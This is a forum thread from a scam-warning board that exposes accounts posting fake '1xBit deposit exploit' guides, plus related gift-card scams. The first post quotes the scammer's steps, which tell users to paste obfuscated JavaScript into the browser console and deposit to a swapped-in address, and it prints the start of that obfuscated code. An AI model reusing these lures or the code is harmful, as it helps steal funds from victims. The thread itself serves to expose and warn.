Title: Another gambling platform deposit (extension) Scammer - 1xBit Post by: Harkorede on May 06, 2020, 08:55:24 PM A Similar scam attempt has been exposed Here (https://bitcointalk.org/index.php?topic=5229888) and Here (https://bitcointalk.org/index.php?topic=5230534), but this time around halosanos (https://bitcointalk.org/index.php?action=profile;u=2803398) is targeting 1xbit users with another fake script/plugin to
User: https://bitcointalk.org/index.php?action=profile;u=2803398 (https://bitcointalk.org/index.php?action=profile;u=2803398) Thread link: https://bitcointalk.org/index.php?topic=5246402.0 Archive: http://archive.is/Oliwe Flag: https://bitcointalk.org/index.php?action=trust;flag=1789 3. Now you should see a warning, that tells you to deposit only Bitcoins, not any other coins to that address. Just click “Confirm”. 4. Now you should see your main deposit address (the one that is displayed when their deposit system is working). Just note that address so you will be able to confirm that it changes after using the exploit. screenshot: https://i.imgur.com/bl1uaSJ.png Important: Don’t deposit to this address! If you do that - your deposit will count only once. You have to reveal the backup address, and make a deposit to the backup address to make it work. (next steps) 5. When you are on the deposit page, click a right button of your mouse anywhere on the site, and click “Inspect”. screenshot: https://i.imgur.com/RyqdFu8.png 6. Now go to the “Console” - just like on the screenshot: screenshot: https://i.imgur.com/6FGwnJ5.png 7. Now paste the javascript code in the console and click Enter. You will notice that your main deposit address is not displayed anymore. You will only see the hidden address. You can find the exploit javascript source code in this link: https://pastebin.com/raw/gqg8nNdg (make sure to copy everything, and don’t miss any characters.) Important: if you can’t see the “Inspect” option, or the “Console”, just use a Google Chrome browser. I am using this browser, and I see these options without any problems. 8. Now make a deposit to the new address. (hidden backup address should start with number “1”). Quote from: https://pastebin.com/raw/gqg8nNdg Code: var _0x493b=['\x59\x33\x4a\x35\x63\x48\x52\x76\x58\x33\x64\x68\x62\x47\x78\x6c\x64\x41\x3d\x3d','\ Title: Re: Another gambling platform deposit (extension) Scammer - 1xBit Post by: tyKiwanuka on May 07, 2020, 05:32:25 PM Here is the next scammer: https://bitcointalk.org/index.php?topic=5246636 [ archived (http://archive.is/j7kgC) ]
User profile: https://bitcointalk.org/index.php?action=profile;u=2803766 And some Amazon giftcard scam: User profile: https://bitcointalk.org/index.php?action=profile;u=2803810 Thread #1: https://bitcointalk.org/index.php?topic=5246683 [ archived (http://archive.is/pUlJw) ] Thread #2: https://bitcointalk.org/index.php?topic=5246681 [ archived (http://archive.is/2Nydx) ] Reddit: https://www.reddit.com/r/ManyVidsFree/comments/gfcs7b/get_100_amazon_giftcards_for_free_g2a_exploit/ [ archived (http://archive.is/r79yx) ] Title: Re: Another gambling platform deposit (extension) Scammer - 1xBit Post by: Harkorede on June 22, 2020, 12:56:04 AM Here is another user: https://bitcointalk.org/index.php?action=profile;u=2818099
Thread: https://bitcointalk.org/index.php?topic=5257174.0 Link: https://telegra.ph/Become-a-Beta-Tester-of-NitrogenSports-Promotions-addon-and-earn-up-to-5-BTC-06-12 [ Archived (http://archive.is/08jXR)] |